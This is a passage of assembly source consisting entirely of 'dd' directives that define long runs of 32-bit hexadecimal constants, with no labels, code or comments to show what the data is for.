		dd 81F9896Fh, 27D323C0h, 58F29C4h, 8E38F3D9h, 0CA651495h
		dd 0C045538Ch, 27C4C206h, 0D9501B20h, 607C2C8Bh, 37833DD6h
		dd 0A2AC8DC8h, 2077F806h, 0CED7EDFAh, 0B5AE6C1Ah, 12F57552h
		dd 0B534D2Bh, 7799C703h, 8DFB9FBFh, 7DB51B7Ch, 0C895235Dh
		dd 21480F88h, 0BA42E7AAh, 879AAF34h, 0D3CB7900h, 39661293h
		dd 50E0E0AEh, 0C2833AEh, 10415EE4h, 0EA6C4C26h,	405272AFh
		dd 1D1ADDEAh, 3F2B4C1Ah, 7E6511E6h, 218461D2h, 735F7B95h
		dd 0C34666E6h, 283BD6DFh, 2AF4BB50h, 0D59EE83Dh, 0A973B9CBh
		dd 32CDD39Ch, 6FB898A9h, 2924DB9Eh, 21853873h, 0D653A97Ch
		dd 6911A1E4h, 5327173Ah, 0F3CA9D8Dh, 91A4A5F5h,	48C84BF2h
		dd 0FB309ABCh, 406FD66Ah, 6DB333EAh, 0E372E19Dh, 1E44032Fh
		dd 4141380Ch, 413AF2ACh, 30B28C3Bh, 0E33AC431h,	14337DD1h
		dd 0C0C9480Fh, 1DCBDE7Ch, 513925EFh, 4516A6A7h,	572E0563h
		dd 50171D50h, 0B73D04FCh, 3C311E59h, 8F304EBBh,	0A84C8F0Fh
		dd 262AD72Bh, 0B5B17D97h, 275441ADh, 448ED7C2h,	0B2AEDB4Dh
		dd 451C888h, 0CD126851h, 0C3E3FB55h, 5DE49E91h,	0C36317AEh
		dd 758305B8h, 9A45D2BFh, 0D7F320C8h, 53668CCAh,	7020E202h
		dd 3C6BBA21h, 0B08A1746h, 0B13E5BF6h, 0E015FEB8h, 7F07E184h
		dd 51BE1EC1h, 77C7C2EFh, 0BD3446F2h, 0F4CFF495h, 52CA1BB7h
		dd 1DFE737Fh, 0B4484FD5h, 0CBED41A6h, 5411A34Dh, 0B3E45D34h
		dd 69D2FB68h, 38F76690h, 0ED56F771h, 9590A6FCh,	14DDA0A0h
		dd 9BF8BD37h, 0A0174339h, 357AE869h, 0EB4707E9h, 0FB3DD93Ch
		dd 0CDC30C70h, 7814F3AAh, 486C7486h, 85B9F809h,	651A3182h
		dd 0B68C36E0h, 5C0D8F73h, 0E521DEFh, 91D2F252h,	471A8F83h
		dd 50693E31h, 59D420E2h, 55358245h, 0B21219A8h,	988A7CCDh
		dd 0AE3A3D96h, 4AE742EFh, 22A0DD43h, 0ED22A71Eh, 9EAA2F1Fh
		dd 0C68798Dh, 0B827BD5Eh, 7D746099h, 0DD904717h, 0FD9BFDF5h
		dd 5CE5691Dh, 3D6315A2h, 0CE35448Ah, 827CF6Ah, 0BFD678EAh
		dd 0C5FD61E7h, 4CA05732h, 0F9D8DE6h, 978B7B78h,	0B41A6AB4h
		dd 705B9B70h, 5CF20319h, 0C02C07D4h, 90D80DB5h,	643ED37Dh
		dd 0ABD03259h, 45D84h, 6E06088Dh, 7EB0D0D6h, 1031A2BEh
		dd 6CA30573h, 9CEE7850h, 76F9E36Bh, 94C7AF4Fh, 258DE24Bh
		dd 63E83B73h, 0CEB377FDh, 0D19AF090h, 574333C3h, 0CA958262h
		dd 95FFE7B8h, 3193ECD8h, 6AA0AA81h, 0EC8ABB09h,	4BEF8A66h
		dd 4ADA492h, 0C0BF671h,	7DE7CDB4h, 29E7F362h, 0BCEC0B48h
		dd 8586027Dh, 697F92D2h, 141D7A46h, 0FFFE66DBh,	2672B2E2h
		dd 7EE2302Eh, 0F33D8456h, 0F880E525h, 0C8DD561Dh, 0D8E48E15h
		dd 0A05EBC17h, 0BCAF3CE4h, 708EAFD5h, 8A6C6A2Dh, 6C53EF28h
		dd 0E162D725h, 0EFA88621h, 69573399h, 584C49EBh, 0EC978FE7h
		dd 4819FB6Dh, 0C97FF6C6h, 24FB7579h, 0A8B82BB8h, 0F1A8B4A9h
		dd 0C4F66F22h, 918BF51h, 0FFD7E895h, 0BE107EA0h, 0A5D4565h
		dd 1BEB0BA5h, 1ED5324h,	982B16DAh, 406B3784h, 0D57F1D49h
		dd 0FF44E1ABh, 46003BB0h, 6F0B9C96h, 468F4F22h,	0BA8315CDh
		dd 0BE83C899h, 0F8045A49h, 0FD5D923Ch, 28115D4Ah, 5A840DC1h
		dd 4838BAAFh, 98D2ED5Fh, 0A7133720h, 0CBC78E5Ch, 0EF234F3Eh
		dd 6E9145DDh, 1E5BF245h, 0ABD02AEFh, 5724FD66h,	20194C0Ah
		dd 8E0E5D1Eh, 0E64C5A49h, 1C6FC113h, 0EE5841EDh, 0AF612A7Fh
		dd 82CC787Eh, 6F0FAF91h
		dd 0E454137Ch, 9226B4BDh, 0FC4788D0h, 4A39D459h, 314FB6FEh
		dd 9DD9CF7Fh, 0B5F06032h, 3A503EC6h, 8B84905Bh,	54288773h
		dd 0D574DAD0h, 879862E0h, 0A4C92A07h, 64AB9B54h, 9AEA0175h
		dd 19172DF5h, 6B2B2B9Dh, 5E0AF7EBh, 6860CEC4h, 0D353C3E7h
		dd 0DA1011Fh, 239AE14Eh, 74C534C7h, 12C432DEh, 0D74EFCDBh
		dd 0AB77DBD5h, 0B1C8251Bh, 0BBDAE32Ah, 0F2336FEEh, 0D964CF8Fh
		dd 0E817F877h, 9D992CC7h, 1FF8970Bh, 100A757Fh,	1FCE413Eh
		dd 0C9E44067h, 0E053F1F8h, 4659FC75h, 47A098C3h, 0FF796A26h
		dd 0AAF6BD0Ah, 4F5A22F6h, 0D26B6FB2h, 0C6860036h, 3D4C7C56h
		dd 0B8EE6B03h, 92C35416h, 0EAB5B3F4h, 4EF5D27Eh, 0B11AE13Fh
		dd 50C3C2A5h, 4F07761h,	4CE31575h, 0A97D4208h, 0ED54CE2Eh
		dd 0F7029469h, 1D041249h, 5EE186BAh, 9D94D254h,	45899037h
		dd 0FAB8CCBAh, 9C2BF747h, 66F1831Bh, 2DE040Fh, 199C91E8h
		dd 0B06BE770h, 0B33F269Fh, 875B4FA5h, 0C2D0413Eh, 0AE6C26Bh
		dd 60E5BA7Dh, 90B9BE5Fh, 0DD56EA11h, 0CDA35CC9h, 2C63C324h
		dd 24442BE6h, 0EAB2EED6h, 6037446Ah, 19B624C2h,	957403FEh
		dd 9E45E527h, 0A29A1205h, 0FF27C631h, 0B99ACE3Eh, 0A7623D18h
		dd 0ECB2205Ch, 892DDCF1h, 0C435FC74h, 0A213FBB4h, 0AB74F9A2h
		dd 4E18358Eh, 86B1999h,	1FD02F25h, 0AB01AAEFh, 0F43AF2DFh
		dd 7788835Bh, 9FFDE901h, 0D3B78295h, 64B47A75h,	0FFEA83Fh
		dd 21402C91h, 64D73055h, 8CD36A20h, 0F777E0EAh,	0B54D6B36h
		dd 0CC5D50C8h, 53FD90A4h, 85CDA588h, 0EA2BA55h,	1DE09F0Bh
		dd 0E8B357E2h, 6A9E88CAh, 6B5E9DD8h, 78A3D266h,	0FEB985E1h
		dd 28970EFh, 5D85B736h,	60DED075h, 51ECFFA4h, 9C0EDCF8h
		dd 0CD528EBh, 0D3405BDAh, 0DAE6E364h, 3615A108h, 57C37225h
		dd 0FAF8898Fh, 0D35B0951h, 0AD06FEE5h, 0F05A521Ch, 0FF7BD73h
		dd 3E66F325h, 0EEBE1A56h, 0BB5476F4h, 391E080Eh, 5965B9FCh
		dd 9998D89Bh, 0EE225CF4h, 78F2313h, 0BAC52C45h,	0BA6BFD00h
		dd 10BECCECh, 326615F1h, 0DF2E2DACh, 0C6B610E4h, 0DD2D41C4h
		dd 0F415E87Bh, 0ABA85ADAh, 2EC06EB3h, 0E4EEC751h, 0C741221Dh
		dd 10A2B11h, 684E8B15h,	31E82A18h, 0D08207A0h, 8B57F9DFh
		dd 2A60F7DBh, 377EBCD8h, 0CEAA0034h, 59B8F9DDh,	0B2B2CB8Fh
		dd 9443B97Ch, 0E982E03Ch, 0D6264AA0h, 0C0D82E1h, 382B0FFFh
		dd 0F832A28Ch, 0A485068h, 99D2F421h, 0B916C89Bh, 1AAB87C9h
		dd 0F6F8B450h, 52C54BC4h, 0A3E87631h, 0BCC5C04h, 743B7136h
		dd 0E35E835Dh, 79D4F92h, 448B26D2h, 0DE2623AAh,	0D9A50FF2h
		dd 0FF0B1D98h, 51897A90h, 0C09CC5A5h, 6AD8422Eh, 8788B74Dh
		dd 0F31D23C0h, 4AAAB408h, 44A5579Fh, 0D70A3E8Eh, 9B231458h
		dd 30133002h, 702D541Bh, 3809BD50h, 2D82478h, 88FBC653h
		dd 0EF3C65A1h, 0BA1B0C68h, 0AF1AF767h, 7BA6F48Ah, 3974FAD0h
		dd 19E06F1h, 61B7743Ch,	363B46A7h, 0C9BE53D0h, 2670A30Dh
		dd 0DDB017BBh, 0B0C216D7h, 63392C5h, 825C372Fh,	0E905AC1Eh
		dd 0FD52D37Eh, 0A5E4AB58h, 8F117964h, 901D588Ch, 0AF8C9EEEh
		dd 7A4C101Eh, 6A9B51F5h, 44E6B7ADh, 24A92078h, 0EDF04646h
		dd 0CADB47EBh, 0B3C1C863h, 0CB1295FDh, 45D641B2h, 1AD729B5h
		dd 0E8F4F337h, 42D86C6Ah, 9A5378B5h, 429E1B25h,	0C45A4AD3h
		dd 0A3C39EC3h, 0B07801C5h, 897276Ch, 0D003370Ch, 0C496172Eh
		dd 0EB2A1D31h, 0DC763B50h, 0E1FCAAD8h, 6EC99ACBh, 0D5400065h
		dd 6FC34402h, 4D8C5675h, 0DE7174B8h, 0BFB86A6Bh, 79C881C8h
		dd 8F8EC3BEh, 5315E8A8h, 0D7C90F4Bh, 68C4A959h,	0A5C7B76Ah
		dd 23BAAFA7h, 93032BE4h, 19F74688h, 28C2AAEh, 0E56B6012h
		dd 88383A15h, 6B9576A8h, 7B87442Fh, 0D1F29B3Dh,	5B7D1E5Dh
		dd 0EBCFB35Dh, 0F207598Fh, 0A9F24B3Bh, 1EEBDFA7h, 0BBB0899Ah
		dd 0FD6D9D4Bh, 20BD9A6h, 0AAB40D78h, 1A2C1F86h,	4ECD473Ah
		dd 3D2C63F8h, 0B5943E8Bh, 20EF6C89h, 0AC24F793h, 84887C0Ah
		dd 97EECF73h, 0E8132790h, 29900004h, 276C464Eh,	930D4579h
		dd 55980D6Fh, 135AA024h, 4BE828B9h, 64BCFB9Ah, 7DCE4243h
		dd 0C68CDD9Ah, 87D98166h, 4D5D40FEh, 0A7E3998Dh, 0BCA93A11h
		dd 4BAF66FAh, 62E7E861h, 50C1BBEDh, 150B52C2h, 1E668951h
		dd 0B52A97D5h, 47B4732h, 4AC4263Dh, 130D0216h, 0D24A6BE4h
		dd 0B9F8CDAAh, 94B35D90h, 0EF118AFBh, 0E9BCFD8h, 58CC58B2h
		dd 0B7EDF007h, 0C4DF1C67h, 0A25F8F8Eh, 0A6C381CEh, 1E416EBAh
		dd 0E9820DBBh, 0BC54907h, 1994B62Eh, 0D04812E8h, 0FC227EFEh
		dd 0C53196B7h, 0A59BC655h, 0BAF72919h, 0F9BEC0ABh, 68CD98A3h
		dd 2E743B5Fh, 0BE012D63h, 705A2089h, 8D087701h,	0E6A92598h
		dd 2701540Fh, 5BECBD49h, 0D83FD7CAh, 5805FFEh, 7215AD55h
		dd 50EBFBABh, 0E1A758F9h, 85591246h, 15BEFCEDh,	0F6C99E9Eh
		dd 0E11A09FCh, 0D92353ACh, 4C3D27B4h, 0CE7CA737h, 2D7DEA29h
		dd 0FC77D8DFh, 4AFADCCFh, 0F51CD673h, 88BF2903h, 940B45F9h
		dd 33AB4DA4h, 4710751Bh, 0F0DEC633h, 0E5D4D3DBh, 0ADCA3B0Ch
		dd 0F6B0D7B5h, 92D5EA34h, 49C93116h, 0E125B5C2h, 0E6392E2Ah
		dd 502FA631h, 82560154h, 4126FB4Ch, 0DFB0A79h, 0CB63C5D6h
		dd 95B3A50Dh, 61B4BC84h, 1462A74Dh, 0EBE12B5Fh,	2A6876F1h
		dd 49920493h, 0CD048B42h, 20CE8FC0h, 9D1888E7h,	784107F5h
		dd 1CB04941h, 9036055Dh, 81AC6CDEh, 906B7A26h, 8434820Ah
		dd 2D1FF3h, 242F5780h, 8D58CB84h, 130F136Dh, 5C188AB6h
		dd 5BFA8B77h, 0A66A49AAh, 278596EAh, 9F70141Fh,	4184AA50h
		dd 4B6C049Fh, 473CCC8Fh, 0B14D6D19h, 225AE1C0h,	0F55D4294h
		dd 5442860h, 0BED6393Fh, 4E620C49h, 21A4F0EDh, 515093F6h
		dd 0BEF5B0B3h, 4D1D2FD8h, 74AA6E19h, 8FD71EF3h,	4EEF6542h
		dd 25F955F1h, 0FBF367F8h, 4255CAABh, 0C762AFCFh, 1E6A3414h
		dd 8FF51298h, 2CB62654h, 2B2F7EC6h, 341047F1h, 42F6C6D4h
		dd 25BCFDCh, 0E9939291h, 0B511E125h, 9B5FCC5Ah,	0A11B9FFEh
		dd 0D1DD5F27h, 0EAE9E7D6h, 45E36FA6h, 51C54B44h, 0A83AAED0h
		dd 1D7639F5h, 0ABC83ED0h, 0F00A150Dh, 467E76D3h, 5A61909Fh
		dd 1768C803h, 0FE1B0E0Eh, 57B76C65h, 0EFA23059h, 53581173h
		dd 0A6755DD8h, 0F5F0735h, 697481B5h, 0CE9CCB76h, 0C1102DCFh
		dd 1DFB0BBEh, 6D243F13h, 0C4E63C45h, 5FB1591h, 0A465CF35h
		dd 0BE4E12C8h, 13C3B0E9h, 0CA93E80Eh, 9017192Eh, 67B23537h
		dd 1DB8BAB4h, 0B6635CB9h, 6265355Eh, 0C3BC0F8Eh, 0EC8F8EBAh
		dd 96D83E81h, 868514A3h, 5F74834Eh, 7791FD98h, 978B0EEh
		dd 36EAA9A4h, 8AA52AF7h, 64D38212h, 9EF6A275h, 741A80F4h
		dd 0C0BA93CAh, 0E4256820h, 7441635Ch, 6D43408Dh, 6E697F06h
		dd 0CAC22032h, 8B35410Eh, 0E01D6EEAh, 0E7B692A8h, 10548D0Eh
		dd 8C0C7D4Dh, 0B0A21991h, 725D0615h, 34CC6C86h,	4D09CADFh
		dd 78ABB3B1h, 24F3CA88h, 0AA1A3BF1h, 0CD9D1C16h, 0ADC80446h
		dd 7269565Ah, 8CE43DEh,	0B9723F57h, 504C4627h, 0DAAC9FF7h
		dd 4C9C10C3h, 0A08F4CB9h, 0A1FDA1FAh, 0FCDB98B7h, 29DB931Bh
		dd 6AFDDC36h, 4BB992EAh, 0AB1CCC94h, 36FA9CDDh,	1F87260Ch
		dd 0F789DADAh, 0EC662D67h, 400A0436h, 0EFE5DDEEh, 8F9A4CA1h
		dd 0DEBBF753h, 562D7307h, 0F6E689E3h, 1FE0BC5Ah, 73100BE7h
		dd 700DD9A9h, 7894E4DEh, 13F86130h, 0B7A2C5h, 0F64B6AF1h
		dd 0C10BDB8Eh, 909CE739h
		dd 486F7E20h, 0E8319E3Ah, 17808826h, 0FF89F7A3h, 17353D34h
		dd 0A4FDFF1Fh, 0F7444D08h, 0C44AA6E7h, 5158CF94h, 7ECC60D8h
		dd 8F76AA9Ch, 66E40E29h, 6D2A7EC4h, 5B31F1Fh, 5E4D164Dh
		dd 0AA85C2B9h, 0E70D9F6Ah, 13818B35h, 1AACFB70h, 7458DF23h
		dd 41E7E030h, 5A503BC8h, 783108DAh, 0F93BEC0Ah,	5F5CC144h
		dd 5EB3AF1h, 0B249F65Bh, 84E93CC3h, 20B335BFh, 0AFB76F74h
		dd 0AE28736Dh, 0C9E53E6Eh, 1E6F20A3h, 7A2A62C6h, 84153474h
		dd 84B27F50h, 0C83FCA4Bh, 4A9C29F0h, 0F17C32E4h, 0BDB8E59Bh
		dd 3E9335DBh, 5F22B7CBh, 54F94971h, 38B1EB32h, 0E38CE389h
		dd 0DECB2B53h, 97730976h, 0D523B2ECh, 43081D05h, 197F987Ch
		dd 2BD7A11Dh, 350558C4h, 389C3890h, 8B6DE15Fh, 5ACC58D0h
		dd 4D5E7023h, 3F87920Ch, 0B4C3E0B5h, 8FBEFEA1h,	98A277F3h
		dd 0E10FDAF3h, 13D28E24h, 908E822Bh, 0B5986BFCh, 77615A58h
		dd 0A1AD8B52h, 0E9F35E54h, 0F0FB6E32h, 4CD52991h, 0E3E9983Bh
		dd 0A164323Fh, 850E14Bh, 81D70521h, 75881C84h, 7E5E24B0h
		dd 0FA5802F4h, 0BC0EC24Dh, 655414B4h, 940C869Bh, 163B7B0Ch
		dd 28B21768h, 275AFBBCh, 0B82BA05Bh, 7E5317CDh,	0CF695D59h
		dd 0CB1D62DBh, 3DEA3212h, 0DFDC7741h, 0A2C1768Fh, 2DA4496Ch
		dd 2CEA4AF2h, 0A53F983Dh, 3ABC5354h, 0F37DF2C7h, 42A2AE46h
		dd 5D79A5A8h, 0A0D90642h, 6CF4ABF5h, 6158109h, 0C58AB502h
		dd 0D1D1DFF8h, 0A3A66686h, 0D90B5EDDh, 5A66326Dh, 0C39EB526h
		dd 0C50626Eh, 0EF22B642h, 9B68311Fh, 0DB2C5B03h, 4DBB71CBh
		dd 0D1EC517Eh, 81D9FF29h, 0AD6E6B2Fh, 0A7E66FDBh, 434D274Ah
		dd 65E3A56Eh, 86E6587h,	0A0C49Eh, 6AD0160Ah, 0E7168169h
		dd 1DE820DAh, 0E128EA87h, 0FE852343h, 0F52F4410h, 9F434109h
		dd 26807586h, 25DA03B3h, 1ED6C0A9h, 0E4FE519Ch,	84FE4CA5h
		dd 75FB0777h, 0C7D01585h, 5AD28536h, 0E31059D4h, 371C18D8h
		dd 706748A3h, 0EFF4A7C2h, 367625E8h, 85019FE0h,	0B7DCEDCBh
		dd 1FE973Ch, 0B984A526h, 22A24374h, 0BE14E947h,	290A6E2Dh
		dd 0FADC83AFh, 0FEADB96Fh, 0F86D8C9Eh, 8130C1C5h, 0DF67A33Fh
		dd 37427FAFh, 0CEDDB69Ah, 0B60C4FB1h, 0FE2136FAh, 0CFCCD095h
		dd 6E02E94Ch, 8D5A3D8Eh, 3162D239h, 4BBCAD6Ch, 35446A2Eh
		dd 7DA0B6B1h, 4875AF72h, 31DCB157h, 0F136648Dh,	2F81E5E0h
		dd 5CCD9835h, 0CD04AFE1h, 81D2AA0Eh, 47FE41A7h,	0D57993DAh
		dd 10D830E3h, 49639811h, 27621341h, 886A867Fh, 7D766175h
		dd 39B5AABDh, 56F8FCC7h, 0B4000948h, 7140085Fh,	0D90EF591h
		dd 7431AEh, 0ECFCBE8h, 11F4208Dh, 5AAB2D68h, 0DE18A71Eh
		dd 16AB9933h, 0E492021Bh, 871D1CE0h, 674A166Eh,	0CFE0345Fh
		dd 0BF5EC9A9h, 90909331h, 9B9FA9EFh, 4CD5E38Dh,	830F1291h
		dd 461863CEh, 701E01ACh, 8B8E3AF3h, 7EF39137h, 5A947101h
		dd 99DBB319h, 7A01D26h,	512C55A3h, 0F26CBCDDh, 12CE6FF7h
		dd 0B5625C3Dh, 336CA11Dh, 0FAF4730Ah, 8F904472h, 305ED601h
		dd 0C601A61Bh, 5B8C75B0h, 6E453DDDh, 11FF3B21h,	0C7BEF0h
		dd 7ECD8043h, 5D909CE5h, 0A39497FFh, 0D3C50136h, 26A57F48h
		dd 51172065h, 81614FD1h, 335502E2h, 0D7CC0DABh,	0ACD317DDh
		dd 0DF180EDEh, 0EF952E4Fh, 1E380770h, 0C270C346h, 41CAE2B2h
		dd 0E741E79Bh, 4EAB3603h, 3EFE7871h, 869E23A1h,	32B534C6h
		dd 0E2A7DC91h, 7D54388Bh, 3D059144h, 60A0F74Fh,	0E18F9296h
		dd 8D7B6D8Fh, 848E7DE5h, 0E72A4FB9h, 7BA44024h,	3211A5AEh
		dd 0A69FD285h, 7263E4C0h, 5D307AC8h, 3AB2A792h,	0ADE14890h
		dd 0D88FBE6h, 2341CC0Ah, 6B7A2A68h, 1BF65952h, 0F1C4FDD9h
		dd 8F4829DBh, 7CF06AF9h, 0CACD49F6h, 0EDA01808h, 0C73F476Fh
		dd 26D5191h, 0A3ABF235h, 0EC26E344h, 69045089h,	0ACFFC842h
		dd 197A2044h, 61507592h, 8FAACE4h, 0D8395D12h, 28A35D95h
		dd 430E7F0Bh, 0E888D1ABh, 0AD25D6E4h, 604B2E76h, 259CD854h
		dd 77722B81h, 0E3F46D54h, 0C0A74E66h, 17EEB8ABh, 70CE34A0h
		dd 77A8D271h, 0F10B5B69h, 0B70033BFh, 957E1146h, 16999F5h
		dd 61BBB172h, 9C4A489h,	3219A366h, 15080217h, 97812FEh
		dd 3F738961h, 0BE044341h, 8C4E74Bh, 0B04005D3h,	1E6E308Bh
		dd 7AE1B664h, 0E1926246h, 42B2C4B8h, 0A5383E16h, 0A83FFB1Dh
		dd 9FF3644Dh, 0A1ADDDA6h, 0BD16D11Bh, 0AD5E2A69h, 0FF3912DBh
		dd 73E5260Ch, 56C316C0h, 919B5535h, 5A9A59D9h, 5126D93Dh
		dd 0C6C502C4h, 9915AF3Bh, 0A9944D71h, 0F5610C91h, 7402A363h
		dd 87CF2008h, 873F3924h, 0AC634FEBh, 6D1F405Ah,	3D09CCF9h
		dd 1FFD3C16h, 0D32E578Fh, 0BBC8A2B9h, 0B95A440Bh, 4F7162D4h
		dd 6A72D84Ah, 0AD6C801Dh, 0CE8047DAh, 0DD76A8Ah, 350E9AE2h
		dd 0D472B25Ch, 0CCD98879h, 0BE4B905Dh, 82EF8EE8h, 2BBD78CEh
		dd 0C257A353h, 0D008A5D8h, 43FC0164h, 7F8A9645h, 32AB0AE7h
		dd 1D1B41EFh, 8151B80Fh, 602619E3h, 0EDF8A063h,	0A5940DC1h
		dd 0CF94734Eh, 8B0FCAE2h, 2F4A0D13h, 69EE9F1h, 15BD0039h
		dd 4D0E8Ah, 0F7950DE9h,	93D8C7FAh, 0B31A0F18h, 0EEC46438h
		dd 0B477526Ah, 43AA00ACh, 0CF013579h, 9FDC53A5h, 55B4927Eh
		dd 4918BAA8h, 0A178EAAAh, 0AE0B1310h, 0A7937377h, 0E1DE6380h
		dd 2F4250F3h, 0C2C3680Fh, 3E00D2A9h, 0B7FEB656h, 3255149Fh
		dd 0F191BD14h, 3801330Bh, 0E2C26552h, 3BFF217Dh, 0D19E8D43h
		dd 44F027BAh, 0B2D27B3Bh, 0A7DEB7FDh, 52B0E797h, 2C22727h
		dd 0C11E55FCh, 142D2E19h, 9A0D8Dh, 0BF64F7F4h, 60B30051h
		dd 1B7B81Bh, 0D1661026h, 2791FBEh, 0A234B783h, 0CACD8389h
		dd 0D14BEEE0h, 92706427h, 0E131601h, 0E97B1337h, 6C478B94h
		dd 931B0D80h, 92E207E4h, 0E79E0C14h, 0E0040CA5h, 31F2B3C1h
		dd 0A0B0459Eh, 4CDFC921h, 0CD53118Ah, 94A36666h, 0B8E187C3h
		dd 2A66942Bh, 0C1D2C8Dh, 0CB07EF7Ch, 56F36F5Dh,	275432F1h
		dd 9CD032F9h, 1C0BF8ACh, 0FE7DB648h, 606A3BECh,	0F76155A4h
		dd 6106ECECh, 0A952AECAh, 88CAC3F7h, 4B18A6B3h,	0B3EED1AAh
		dd 0E875AEC5h, 0F05528B4h, 907EA022h, 43EA5D70h, 0A13897DBh
		dd 0BF7C5DF1h, 8501AA71h, 0F1CFBDAFh, 9D7D9DA9h, 0BCDB216h
		dd 1738B0A8h, 0B4BF6677h, 0F9575BF1h, 3FC12136h, 0A3E12FF6h
		dd 0B792A371h, 0FA26D7C3h, 0BCFCD2F4h, 0DA3DB8Eh, 0F04AFED1h
		dd 0C4068833h, 3FC14486h, 807EBD8Eh, 3C08D1F7h,	90A6DFA2h
		dd 2A0F68FAh, 0CFD6B2E2h, 473AA476h, 0E2B423DBh, 4D803253h
		dd 0E6FC38h, 0DA2C9CD1h, 3790970Ch, 3C41D8DAh, 6A8B8C47h
		dd 1FB141ABh, 8301B658h, 0C8D6D8CCh, 0B01B7A49h, 950E9606h
		dd 0B43FC65Fh, 34F0416Dh, 1EC21E11h, 0BBE8BB9Dh, 0ED2F6731h
		dd 0E95BEB28h, 0ABC8C640h, 0DA7B5C02h, 2BC1443Ch, 0CEB41340h
		dd 63972775h, 22E1E0A6h, 651846D8h, 0B75F50CEh,	4C55E3BEh
		dd 0D834F3B3h, 7C1E880Ah, 0B7E04AD1h, 21C053ACh, 0C5FAAF52h
		dd 121A16CDh, 5B2B4DF8h, 0EF97B626h, 0E5481D51h, 30B73EE9h
		dd 59A17A52h, 3C0238BBh, 65108F2Fh, 40C5258Ah, 0C9DFF466h
		dd 0E1F789F2h, 13DA192Dh, 87E37595h, 9072FC91h,	0F0CF867Ch
		dd 0BC1DA329h, 0C3850A65h, 258CADB8h, 666CAF78h, 0C1142565h
		dd 3F644141h, 0C524A6F5h, 6DA24AE2h, 85545F71h,	8C518647h
		dd 7A23DEE0h, 1568458Dh, 0D2B06118h, 6E7A88A3h,	0DF7847B5h
		dd 97507107h, 632036F8h
		dd 0E9B2897Dh, 8B65C93Eh, 0C64CCC2h, 0CDD9D3E1h, 4F8C3F28h
		dd 4FCEAD9Eh, 0FB5007C9h, 0AA066FB8h, 0EA637B2Fh, 275715BAh
		dd 0E20D670Fh, 89CB3EB4h, 0E2B3A8A4h, 36E13114h, 0D8C06B3Bh
		dd 0BB2A36F0h, 1BDF0740h, 0EF77D95h, 0C7370E1Fh, 0F0FF2024h
		dd 6B405CD0h, 0C1DE1D98h, 0B358F712h, 0F6D7249Fh, 4E39B14Eh
		dd 20050670h, 5A7DCB6Ah, 0E9C6C1F4h, 0A889E4C3h, 2042DC06h
		dd 0DA0824B1h, 414E563Ah, 0C5417402h, 1607A35Eh, 4199EA61h
		dd 0BCADBF47h, 88B4DC91h, 1693ADACh, 1FA7342Ah,	0E41F3EC7h
		dd 0E31798B0h, 39A47FEEh, 763AEB4Ah, 2DEFCAB9h,	9FA7D85Dh
		dd 22556282h, 88339707h, 0A041B52Fh, 7A7A01EFh,	0D14DBBD3h
		dd 0BBD4B378h, 74B1BB5Ch, 0D57178CBh, 0DCE706FCh, 848C2098h
		dd 124FBFE2h, 58A5455Ch, 2A60F1A7h, 75CD43B3h, 0BFCFD8E3h
		dd 0A11A6AEFh, 5C4223EEh, 0D27CE541h, 4414D0C9h, 0C1981F1Eh
		dd 206AB61Bh, 49BC4CFDh, 21A80F81h, 12A26637h, 7378D32Fh
		dd 0EBC81916h, 6A3FFF67h, 0F785843Ch, 7575B822h, 17AB4386h
		dd 0D3A9DFDDh, 7E9FF4EBh, 26B5871Dh, 0E0F20BEEh, 774B29ACh
		dd 98D891AEh, 0CDFBF8C1h, 0D4A628BBh, 3A8894EAh, 0E5FEEB22h
		dd 77FCA381h, 0F3784A2Dh, 0A4082C8h, 3A89E4A5h,	918F640Ah
		dd 2C4CA00h, 2B852EABh,	0D60F6C6h, 4F455B87h, 0E35E7B64h
		dd 0F845D5EBh, 0D2E88526h, 0A4CD9FA2h, 0DA3E78C3h, 0AE0C09DEh
		dd 9E757672h, 17B40F14h, 809D6EB9h, 7A7C3BECh, 0F7568773h
		dd 59167509h, 2B492259h, 3F5C8270h, 0EF88D65Ch,	55DF1B78h
		dd 449E5A49h, 8D06CC2Ah, 0A638AC63h, 0BF3B3784h, 9553E1ECh
		dd 96916075h, 486C9943h, 0AA54464Eh, 1673911Ah,	0EFF4A0BEh
		dd 0DE0A6929h, 7A02FAEh, 0ABE4E253h, 45A37D1h, 6CFAB6BFh
		dd 0ABD134A8h, 0EC2A4C47h, 537091F0h, 9EF69EA8h, 0BA822ABh
		dd 873AC88Fh, 149F4754h, 0E4BE2404h, 0E5BB3701h, 9A530339h
		dd 0F8AB7B8h, 0E4230D89h, 8F27E50Dh, 0C73717B4h, 0F799D7E1h
		dd 306CBE58h, 90DD4126h, 0DCA98F11h, 0E6CD3EEh,	0F8525968h
		dd 0B850D931h, 0D0E3B0E9h, 9A48C732h, 7FAB89Ah,	98936164h
		dd 25E3D7D5h, 46DEC9C7h, 633A75B7h, 64A80A5h, 10ED41C0h
		dd 975E26D3h, 2EE7E3FCh, 0E30C51B2h, 0DA5C72BEh, 7F5C638Ah
		dd 0AA9837F7h, 969C42Fh, 0D00EE63Eh, 4CA587Ch, 48872F5h
		dd 275071CEh, 0F7E23198h, 12ACFFFh, 2338F0Ah, 1B877079h
		dd 0B796E295h, 807FA64h, 0CA59AC80h, 0A54E2F25h, 0A04EC8D8h
		dd 0C31BC9BDh, 0CFF0CB75h, 479FC79Fh, 0AAFEC9D0h, 0CA0D5147h
		dd 0A076FC49h, 0A02F75C2h, 5936D630h, 47DB28FBh, 5BF63883h
		dd 4505FFE9h, 72F35FDAh, 68DCC0B3h, 281D17F0h, 78A25BE2h
		dd 0C05EEA44h, 0F9A70AC7h, 0FA156CC8h, 153ACD8Bh, 0F19E178h
		dd 8953BD3Bh, 0C90A756Eh, 16CE2D4h, 1DACF7B9h, 0C5957E1Bh
		dd 627976Dh, 23D0B765h,	0CB09DB0h, 5B0833E7h, 0BFCAE13Ch
		dd 39BDBDA9h, 18926EE5h, 4746007h, 0D181927Bh, 0CE584253h
		dd 0E62047CAh, 0D8E1308Fh, 643B393h, 99879A50h,	0F60241D9h
		dd 75892171h, 2E47559Eh, 0EDCD7A0Fh, 32645D9Bh,	4B31B72h
		dd 0E801B3E8h, 6E3DC69h, 1FB0E805h, 1686746Ah, 3EDAAFDBh
		dd 3E7A961Eh, 86F36AE6h, 160606D3h, 7DD07FE4h, 275A84ADh
		dd 0D07623F4h, 2B13981Dh, 0A577B68h, 41283584h,	18012C7Ah
		dd 2BF06606h, 0C21F52C6h, 0C6BCCAD1h, 0B8E0B748h, 23438393h
		dd 0A7B28DE6h, 0A0A31E8Ch, 0B7013AA5h, 4AA14773h, 0AE58DF15h
		dd 0FCC4DB9h, 0C585B2DDh, 7D5756CAh, 9CDA8C2h, 0D115E0Fh
